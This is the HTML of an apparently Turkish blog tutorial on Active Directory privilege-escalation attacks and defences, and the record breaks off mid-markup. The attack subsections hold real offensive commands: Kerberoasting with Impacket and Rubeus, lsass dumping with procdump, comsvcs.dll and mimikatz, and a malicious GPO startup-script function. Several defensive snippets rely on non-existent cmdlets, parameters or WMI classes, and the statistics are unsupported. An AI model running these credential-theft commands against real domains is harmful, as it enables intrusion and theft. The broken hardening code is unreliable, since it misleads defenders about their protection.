{"id":63,"title":"Active Directory Ayr\u0131cal\u0131k Y\u00fckseltme Sald\u0131r\u0131lar\u0131","content":"<h2>\ud83d\udcca Giri\u015f: AD G&uuml;venlik Durumu<\/h2>\r\n<p class=\"ds-markdown-paragraph\"><strong>Active Directory<\/strong>, kurumsal a\u011flar\u0131n %90'\u0131ndan fazlas\u0131nda kullan\u0131l\u0131yor. Microsoft'un verilerine g&ouml;re:<\/p>\r\n<ul>\r\n<li>\r\n<p class=\"ds-markdown-paragraph\">AD sald\u0131r\u0131lar\u0131 2023'te %67 artt\u0131<\/p>\r\n<\/li>\r\n<li>\r\n<p class=\"ds-markdown-paragraph\">Ortalama tespit s&uuml;resi 287 g&uuml;n<\/p>\r\n<\/li>\r\n<li>\r\n<p class=\"ds-markdown-paragraph\">%85'i i&ccedil; tehdit kaynakl\u0131<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>\ud83d\udd0d&nbsp;<strong>1. Kerberoasting: Derinlemesine Analiz<\/strong><\/h2>\r\n<h3><strong>Teknik Detaylar<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># PowerShell ile SPN sorgulama<\/span>\r\n<span class=\"token function\">Get-ADUser<\/span> <span class=\"token operator\">-<\/span><span class=\"token keyword\">Filter<\/span> <span class=\"token punctuation\">{<\/span>ServicePrincipalName <span class=\"token operator\">-like<\/span> <span class=\"token string\">\"*\"<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token operator\">-<\/span>Properties ServicePrincipalName<span class=\"token punctuation\">,<\/span> PasswordLastSet <span class=\"token punctuation\">|<\/span> \r\n<span class=\"token function\">Select-Object<\/span> SamAccountName<span class=\"token punctuation\">,<\/span> ServicePrincipalName<span class=\"token punctuation\">,<\/span> PasswordLastSet\r\n\r\n<span class=\"token comment\"># Kerberoasting tespiti i&ccedil;in advanced query<\/span>\r\n<span class=\"token function\">Get-WinEvent<\/span> <span class=\"token operator\">-<\/span>FilterHashtable @<span class=\"token punctuation\">{<\/span>LogName=<span class=\"token string\">'Security'<\/span><span class=\"token punctuation\">;<\/span> ID=4769<span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">|<\/span> \r\n<span class=\"token function\">Where-Object<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token variable\">$_<\/span><span class=\"token punctuation\">.<\/span>Message <span class=\"token operator\">-like<\/span> <span class=\"token string\">\"*0x17*\"<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">|<\/span> \r\n<span class=\"token function\">Select-Object<\/span> TimeCreated<span class=\"token punctuation\">,<\/span> @<span class=\"token punctuation\">{<\/span>Name=<span class=\"token string\">\"Client\"<\/span><span class=\"token punctuation\">;<\/span>Expression=<span class=\"token punctuation\">{<\/span><span class=\"token variable\">$_<\/span><span class=\"token punctuation\">.<\/span>Properties<span class=\"token punctuation\">[<\/span>0<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">.<\/span>Value<span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>Geli\u015fmi\u015f Sald\u0131r\u0131 Senaryolar\u0131<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\">&nbsp;<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Impacket ile advanced Kerberoasting<\/span>\r\npython GetUserSPNs.py <span class=\"token parameter variable\">-request<\/span> -dc-ip <span class=\"token number\">192.168<\/span>.1.1 DOMAIN\/user\r\n\r\n<span class=\"token comment\"># Rubeus ile stealth mode<\/span>\r\nRubeus.exe kerberoast \/outfile:hashes.txt \/domain:domain.local \/dc:DC01.domain.local \/nowrap<\/pre>\r\n<\/div>\r\n<h3><strong>Kapsaml\u0131 Korunma Y&ouml;ntemleri<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Group Policy ile gMSA yap\u0131land\u0131rmas\u0131<\/span>\r\n<span class=\"token comment\"># 1. Hizmet hesab\u0131 parola politikas\u0131<\/span>\r\n<span class=\"token function\">Set-ADDefaultDomainPasswordPolicy<\/span> <span class=\"token operator\">-<\/span>Identity domain<span class=\"token punctuation\">.<\/span>local <span class=\"token operator\">-<\/span>MinPasswordLength 25 <span class=\"token operator\">-<\/span>ComplexityEnabled <span class=\"token boolean\">$true<\/span>\r\n\r\n<span class=\"token comment\"># 2. G&uuml;nl&uuml;k denetim politikas\u0131<\/span>\r\nauditpol <span class=\"token operator\">\/<\/span><span class=\"token function\">set<\/span> <span class=\"token operator\">\/<\/span>subcategory:<span class=\"token string\">\"Kerberos Service Ticket Operations\"<\/span> <span class=\"token operator\">\/<\/span>success:enable <span class=\"token operator\">\/<\/span>failure:enable\r\n\r\n<span class=\"token comment\"># 3. Real-time monitoring script<\/span>\r\n<span class=\"token keyword\">while<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token boolean\">$true<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span>\r\n    <span class=\"token function\">Get-WinEvent<\/span> <span class=\"token operator\">-<\/span>FilterHashtable @<span class=\"token punctuation\">{<\/span>LogName=<span class=\"token string\">'Security'<\/span><span class=\"token punctuation\">;<\/span> ID=4769<span class=\"token punctuation\">}<\/span> <span class=\"token operator\">-<\/span>MaxEvents 10 <span class=\"token punctuation\">|<\/span> \r\n    <span class=\"token function\">Where-Object<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token variable\">$_<\/span><span class=\"token punctuation\">.<\/span>Properties<span class=\"token punctuation\">[<\/span>3<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">.<\/span>Value <span class=\"token operator\">-eq<\/span> <span class=\"token string\">\"0x17\"<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">|<\/span>\r\n    <span class=\"token function\">ForEach-Object<\/span> <span class=\"token punctuation\">{<\/span>\r\n        <span class=\"token function\">Write-Warning<\/span> <span class=\"token string\">\"Kerberoasting attempt detected: <span class=\"token function\">$<span class=\"token punctuation\">(<\/span><span class=\"token variable\">$_<\/span><span class=\"token punctuation\">.<\/span>Properties<span class=\"token punctuation\">[<\/span>0<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">.<\/span>Value<span class=\"token punctuation\">)<\/span><\/span>\"<\/span>\r\n    <span class=\"token punctuation\">}<\/span>\r\n    <span class=\"token function\">Start-Sleep<\/span> <span class=\"token operator\">-<\/span>Seconds 30\r\n<span class=\"token punctuation\">}<\/span><\/pre>\r\n<\/div>\r\n<hr>\r\n<h2>\ud83c\udfaf&nbsp;<strong>2. AS-REP Roasting: Geli\u015fmi\u015f Savunma<\/strong><\/h2>\r\n<h3><strong>Detayl\u0131 Tespit Y&ouml;ntemleri<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Pre-auth devre d\u0131\u015f\u0131 hesaplar\u0131 bulma<\/span>\r\n<span class=\"token function\">Get-ADUser<\/span> <span class=\"token operator\">-<\/span><span class=\"token keyword\">Filter<\/span> <span class=\"token punctuation\">{<\/span>DoesNotRequirePreAuth <span class=\"token operator\">-eq<\/span> <span class=\"token boolean\">$true<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token operator\">-<\/span>Properties DoesNotRequirePreAuth<span class=\"token punctuation\">,<\/span> MemberOf <span class=\"token punctuation\">|<\/span>\r\n<span class=\"token function\">Select-Object<\/span> SamAccountName<span class=\"token punctuation\">,<\/span> Name<span class=\"token punctuation\">,<\/span> MemberOf<span class=\"token punctuation\">,<\/span> Enabled\r\n\r\n<span class=\"token comment\"># Advanced logging configuration<\/span>\r\n<span class=\"token comment\"># Event ID 4768: Kerberos TGT requested without pre-auth<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>Sald\u0131r\u0131 Senaryosu Geli\u015ftirme<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">python<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Python ile AS-REP Roasting<\/span>\r\n<span class=\"token keyword\">from<\/span> impacket<span class=\"token punctuation\">.<\/span>krb5<span class=\"token punctuation\">.<\/span>asn1 <span class=\"token keyword\">import<\/span> AS_REQ<span class=\"token punctuation\">,<\/span> KERB_PA_PAC_REQUEST\r\n<span class=\"token keyword\">from<\/span> impacket<span class=\"token punctuation\">.<\/span>krb5<span class=\"token punctuation\">.<\/span>kerberosv5 <span class=\"token keyword\">import<\/span> sendReceive\r\n<span class=\"token keyword\">from<\/span> impacket<span class=\"token punctuation\">.<\/span>krb5 <span class=\"token keyword\">import<\/span> constants\r\n\r\n<span class=\"token keyword\">def<\/span> <span class=\"token function\">asreproast_attack<\/span><span class=\"token punctuation\">(<\/span>username<span class=\"token punctuation\">,<\/span> domain<span class=\"token punctuation\">,<\/span> dc_ip<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span>\r\n    <span class=\"token comment\"># Pre-auth olmadan AS-REQ olu\u015fturma<\/span>\r\n    as_req <span class=\"token operator\">=<\/span> create_as_req<span class=\"token punctuation\">(<\/span>username<span class=\"token punctuation\">,<\/span> domain<span class=\"token punctuation\">)<\/span>\r\n    response <span class=\"token operator\">=<\/span> sendReceive<span class=\"token punctuation\">(<\/span>as_req<span class=\"token punctuation\">,<\/span> domain<span class=\"token punctuation\">,<\/span> dc_ip<span class=\"token punctuation\">)<\/span>\r\n    <span class=\"token keyword\">return<\/span> extract_encrypted_part<span class=\"token punctuation\">(<\/span>response<span class=\"token punctuation\">)<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>Geli\u015fmi\u015f Korunma Stratejileri<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># T&uuml;m hesaplarda pre-auth zorunlulu\u011fu<\/span>\r\n<span class=\"token function\">Get-ADUser<\/span> <span class=\"token operator\">-<\/span><span class=\"token keyword\">Filter<\/span> <span class=\"token operator\">*<\/span> <span class=\"token punctuation\">|<\/span> <span class=\"token function\">ForEach-Object<\/span> <span class=\"token punctuation\">{<\/span>\r\n    <span class=\"token function\">Set-ADAccountControl<\/span> <span class=\"token operator\">-<\/span>Identity <span class=\"token variable\">$_<\/span><span class=\"token punctuation\">.<\/span>SamAccountName <span class=\"token operator\">-<\/span>DoesNotRequirePreAuth <span class=\"token boolean\">$false<\/span>\r\n<span class=\"token punctuation\">}<\/span>\r\n\r\n<span class=\"token comment\"># Privileged Access Workstations (PAW) yap\u0131land\u0131rmas\u0131<\/span>\r\n<span class=\"token comment\"># 1. Admin hesaplar\u0131 i&ccedil;in PAW zorunlulu\u011fu<\/span>\r\n<span class=\"token comment\"># 2. JIT (Just-In-Time) admin eri\u015fimi<\/span>\r\n<span class=\"token comment\"># 3. Privileged Identity Management<\/span><\/pre>\r\n<\/div>\r\n<hr>\r\n<h2>\ud83d\udd11&nbsp;<strong>3. Pass-the-Hash: Modern Savunmalar<\/strong><\/h2>\r\n<h3><strong>Detayl\u0131 Sald\u0131r\u0131 Teknikleri<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\">&nbsp;<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Mimikatz alternatifleri<\/span>\r\n<span class=\"token comment\"># 1. Procdump + offline analysis<\/span>\r\nprocdump.exe <span class=\"token parameter variable\">-ma<\/span> lsass.exe lsass.dmp\r\nmimikatz.exe <span class=\"token string\">\"sekurlsa::minidump lsass.dmp\"<\/span> <span class=\"token string\">\"sekurlsa::logonPasswords full\"<\/span>\r\n\r\n<span class=\"token comment\"># 2. Comsvcs.dll method<\/span>\r\nrundll32.exe C:<span class=\"token punctuation\">\\<\/span>windows<span class=\"token punctuation\">\\<\/span>system32<span class=\"token punctuation\">\\<\/span>comsvcs.dll MiniDump <span class=\"token punctuation\">(<\/span>Get-Process lsass<span class=\"token punctuation\">)<\/span>.id lsass.dmp full<\/pre>\r\n<\/div>\r\n<h3><strong>Geli\u015fmi\u015f Tespit Mekanizmalar\u0131<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Real-time PtH tespiti<\/span>\r\n<span class=\"token function\">Register-WmiEvent<\/span> <span class=\"token operator\">-<\/span>Query <span class=\"token string\">\"SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_LogonSession'\"<\/span> <span class=\"token operator\">-<\/span>Action <span class=\"token punctuation\">{<\/span>\r\n    <span class=\"token variable\">$logonType<\/span> = <span class=\"token variable\">$Event<\/span><span class=\"token punctuation\">.<\/span>SourceEventArgs<span class=\"token punctuation\">.<\/span>NewEvent<span class=\"token punctuation\">.<\/span>TargetInstance<span class=\"token punctuation\">.<\/span>LogonType\r\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token variable\">$logonType<\/span> <span class=\"token operator\">-eq<\/span> 3 <span class=\"token operator\">-or<\/span> <span class=\"token variable\">$logonType<\/span> <span class=\"token operator\">-eq<\/span> 9<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span>\r\n        <span class=\"token function\">Write-EventLog<\/span> <span class=\"token operator\">-<\/span>LogName <span class=\"token string\">\"Security\"<\/span> <span class=\"token operator\">-<\/span>Source <span class=\"token string\">\"PtH Detector\"<\/span> <span class=\"token operator\">-<\/span>EventId 4658 <span class=\"token operator\">-<\/span>Message <span class=\"token string\">\"Potential PtH detected\"<\/span>\r\n    <span class=\"token punctuation\">}<\/span>\r\n<span class=\"token punctuation\">}<\/span>\r\n\r\n<span class=\"token comment\"># Network monitoring for NTLM<\/span>\r\n<span class=\"token function\">Get-NetEventPacketCapture<\/span> <span class=\"token operator\">-<\/span>CaptureMode SaveToFile <span class=\"token operator\">-<\/span>FileName <span class=\"token string\">\"NTLM_Traffic.pcap\"<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>Kapsaml\u0131 Korunma &Ccedil;&ouml;z&uuml;mleri<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">yaml<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># LSA Protection Configuration<\/span>\r\n<span class=\"token key atrule\">Registry Path<\/span><span class=\"token punctuation\">:<\/span> HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA\r\n<span class=\"token key atrule\">Value<\/span><span class=\"token punctuation\">:<\/span> RunAsPPL\r\n<span class=\"token key atrule\">Type<\/span><span class=\"token punctuation\">:<\/span> DWORD\r\n<span class=\"token key atrule\">Data<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token number\">1<\/span>\r\n\r\n<span class=\"token comment\"># Credential Guard Group Policy<\/span>\r\nComputer Configuration <span class=\"token punctuation\">&gt;<\/span> Administrative Templates <span class=\"token punctuation\">&gt;<\/span> System <span class=\"token punctuation\">&gt;<\/span> Device Guard\r\n<span class=\"token key atrule\">Enable<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token string\">\"Turn On Virtualization Based Security\"<\/span><\/pre>\r\n<\/div>\r\n<hr>\r\n<h2>\ud83c\udfab&nbsp;<strong>4. Pass-the-Ticket: Enterprise Savunma<\/strong><\/h2>\r\n<h3><strong>Detayl\u0131 Sald\u0131r\u0131 Vekt&ouml;rleri<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">python<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Silver Ticket sald\u0131r\u0131s\u0131<\/span>\r\n<span class=\"token keyword\">from<\/span> impacket<span class=\"token punctuation\">.<\/span>krb5 <span class=\"token keyword\">import<\/span> constants\r\n<span class=\"token keyword\">from<\/span> impacket<span class=\"token punctuation\">.<\/span>krb5<span class=\"token punctuation\">.<\/span>asn1 <span class=\"token keyword\">import<\/span> TGS_REP\r\n\r\n<span class=\"token keyword\">def<\/span> <span class=\"token function\">create_silver_ticket<\/span><span class=\"token punctuation\">(<\/span>domain<span class=\"token punctuation\">,<\/span> sid<span class=\"token punctuation\">,<\/span> target_spn<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span>\r\n    <span class=\"token comment\"># Service ticket forgery<\/span>\r\n    ticket <span class=\"token operator\">=<\/span> forge_ticket<span class=\"token punctuation\">(<\/span>domain<span class=\"token punctuation\">,<\/span> sid<span class=\"token punctuation\">,<\/span> target_spn<span class=\"token punctuation\">)<\/span>\r\n    <span class=\"token keyword\">return<\/span> inject_ticket<span class=\"token punctuation\">(<\/span>ticket<span class=\"token punctuation\">)<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>Geli\u015fmi\u015f Tespit Y&ouml;ntemleri<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Kerberos ticket anomaly detection<\/span>\r\n<span class=\"token comment\"># 1. Ticket lifetime monitoring<\/span>\r\n<span class=\"token function\">Get-WinEvent<\/span> <span class=\"token operator\">-<\/span>FilterHashtable @<span class=\"token punctuation\">{<\/span>LogName=<span class=\"token string\">'Security'<\/span><span class=\"token punctuation\">;<\/span> ID=4769<span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">|<\/span> \r\n<span class=\"token function\">Select-Object<\/span> TimeCreated<span class=\"token punctuation\">,<\/span> @<span class=\"token punctuation\">{<\/span>Name=<span class=\"token string\">\"TicketLifetime\"<\/span><span class=\"token punctuation\">;<\/span>Expression=<span class=\"token punctuation\">{<\/span><span class=\"token variable\">$_<\/span><span class=\"token punctuation\">.<\/span>Properties<span class=\"token punctuation\">[<\/span>7<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">.<\/span>Value<span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span>\r\n\r\n<span class=\"token comment\"># 2. Abnormal ticket requests<\/span>\r\n<span class=\"token comment\"># Event ID 4768: TGT request from unusual location<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>Enterprise Korunma Stratejileri<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Protected Users Group implementation<\/span>\r\n<span class=\"token comment\"># 1. Admin hesaplar\u0131n\u0131 Protected Users grubuna ekle<\/span>\r\n<span class=\"token function\">Add-ADGroupMember<\/span> <span class=\"token operator\">-<\/span>Identity <span class=\"token string\">\"Protected Users\"<\/span> <span class=\"token operator\">-<\/span>Members <span class=\"token string\">\"Domain Admins\"<\/span>\r\n\r\n<span class=\"token comment\"># 2. Ticket policies<\/span>\r\n<span class=\"token function\">Set-ADDefaultDomainPasswordPolicy<\/span> <span class=\"token operator\">-<\/span>Identity domain<span class=\"token punctuation\">.<\/span>local <span class=\"token operator\">-<\/span>MaxTicketAge 4<\/pre>\r\n<\/div>\r\n<hr>\r\n<h2>\ud83c\udfdb\ufe0f&nbsp;<strong>5. GPO Abuse: Enterprise Y&ouml;netimi<\/strong><\/h2>\r\n<h3><strong>Detayl\u0131 Sald\u0131r\u0131 Senaryolar\u0131<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># GPO exploitation framework<\/span>\r\n<span class=\"token keyword\">function<\/span> <span class=\"token function\">Add-MaliciousGPOScript<\/span> <span class=\"token punctuation\">{<\/span>\r\n    <span class=\"token keyword\">param<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$GPOName<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token variable\">$ScriptContent<\/span><span class=\"token punctuation\">)<\/span>\r\n    \r\n    <span class=\"token variable\">$gpo<\/span> = <span class=\"token function\">Get-GPO<\/span> <span class=\"token operator\">-<\/span>Name <span class=\"token variable\">$GPOName<\/span>\r\n    <span class=\"token variable\">$registryPath<\/span> = <span class=\"token string\">\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\"<\/span>\r\n    \r\n    <span class=\"token comment\"># Startup script ekleme<\/span>\r\n    <span class=\"token function\">Set-GPRegistryValue<\/span> <span class=\"token operator\">-<\/span>Name <span class=\"token variable\">$GPOName<\/span> <span class=\"token operator\">-<\/span>Key <span class=\"token variable\">$registryPath<\/span> <span class=\"token operator\">-<\/span>ValueName <span class=\"token string\">\"Startup\"<\/span> <span class=\"token operator\">-<\/span><span class=\"token function\">Type<\/span> String <span class=\"token operator\">-<\/span>Value <span class=\"token variable\">$ScriptContent<\/span>\r\n<span class=\"token punctuation\">}<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>Geli\u015fmi\u015f Tespit Sistemleri<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># GPO change monitoring<\/span>\r\n<span class=\"token variable\">$query<\/span> = @<span class=\"token string\">\"\r\nSELECT * FROM __InstanceModificationEvent WITHIN 10 \r\nWHERE TargetInstance ISA 'Win32_GroupPolicy' \r\nAND TargetInstance.DisplayName = 'Default Domain Policy'\r\n\"<\/span>@\r\n\r\n<span class=\"token function\">Register-WmiEvent<\/span> <span class=\"token operator\">-<\/span>Query <span class=\"token variable\">$query<\/span> <span class=\"token operator\">-<\/span>Action <span class=\"token punctuation\">{<\/span>\r\n    <span class=\"token function\">Write-EventLog<\/span> <span class=\"token operator\">-<\/span>LogName <span class=\"token string\">\"Security\"<\/span> <span class=\"token operator\">-<\/span>Source <span class=\"token string\">\"GPO Monitor\"<\/span> <span class=\"token operator\">-<\/span>EventId 5136 <span class=\"token operator\">-<\/span>Message <span class=\"token string\">\"GPO modification detected\"<\/span>\r\n<span class=\"token punctuation\">}<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>Enterprise GPO G&uuml;venli\u011fi<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># GPO permission auditing<\/span>\r\n<span class=\"token function\">Get-GPO<\/span> <span class=\"token operator\">-<\/span>All <span class=\"token punctuation\">|<\/span> <span class=\"token function\">ForEach-Object<\/span> <span class=\"token punctuation\">{<\/span>\r\n    <span class=\"token variable\">$permissions<\/span> = <span class=\"token function\">Get-GPPermission<\/span> <span class=\"token operator\">-<\/span>Guid <span class=\"token variable\">$_<\/span><span class=\"token punctuation\">.<\/span>Id <span class=\"token operator\">-<\/span>All\r\n    <span class=\"token variable\">$permissions<\/span> <span class=\"token punctuation\">|<\/span> <span class=\"token function\">Where-Object<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token variable\">$_<\/span><span class=\"token punctuation\">.<\/span>Permission <span class=\"token operator\">-eq<\/span> <span class=\"token string\">\"GpoEdit\"<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">|<\/span>\r\n    <span class=\"token function\">Select-Object<\/span> Trustee<span class=\"token punctuation\">,<\/span> Permission\r\n<span class=\"token punctuation\">}<\/span>\r\n\r\n<span class=\"token comment\"># GPO backup automation<\/span>\r\n<span class=\"token variable\">$backupPath<\/span> = <span class=\"token string\">\"\\\\server\\gpo_backup\\\"<\/span>\r\n<span class=\"token function\">Get-GPO<\/span> <span class=\"token operator\">-<\/span>All <span class=\"token punctuation\">|<\/span> <span class=\"token function\">Backup-GPO<\/span> <span class=\"token operator\">-<\/span>Path <span class=\"token variable\">$backupPath<\/span> <span class=\"token operator\">-<\/span>Comment <span class=\"token string\">\"Daily GPO Backup\"<\/span><\/pre>\r\n<\/div>\r\n<hr>\r\n<h2>\ud83d\udee1\ufe0f&nbsp;<strong>Proaktif Savunma Stratejileri<\/strong><\/h2>\r\n<h3><strong>1. Advanced Threat Hunting<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># AD anomaly detection framework<\/span>\r\n<span class=\"token keyword\">function<\/span> <span class=\"token function\">Start-ADThreatHunt<\/span> <span class=\"token punctuation\">{<\/span>\r\n    <span class=\"token comment\"># 1. Kerberoasting avc\u0131l\u0131\u011f\u0131<\/span>\r\n    Hunt-Kerberoasting\r\n    \r\n    <span class=\"token comment\"># 2. AS-REP Roasting avc\u0131l\u0131\u011f\u0131<\/span>\r\n    Hunt-ASREPRoasting\r\n    \r\n    <span class=\"token comment\"># 3. PtH\/PtT avc\u0131l\u0131\u011f\u0131<\/span>\r\n    Hunt-PassTheCredential\r\n    \r\n    <span class=\"token comment\"># 4. GPO manipulation<\/span>\r\n    Hunt-GPOAbuse\r\n<span class=\"token punctuation\">}<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>2. Zero Trust Architecture<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">yaml<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Zero Trust prensipleri:<\/span>\r\n<span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">Verify explicitly<\/span><span class=\"token punctuation\">:<\/span> T&uuml;m eri\u015fimleri do\u011frula\r\n<span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">Use least privilege<\/span><span class=\"token punctuation\">:<\/span> Minimum yetki prensibi\r\n<span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">Assume breach<\/span><span class=\"token punctuation\">:<\/span> \u0130hlal oldu\u011funu varsay<\/pre>\r\n<\/div>\r\n<h3><strong>3. Microsoft Security Stack<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div 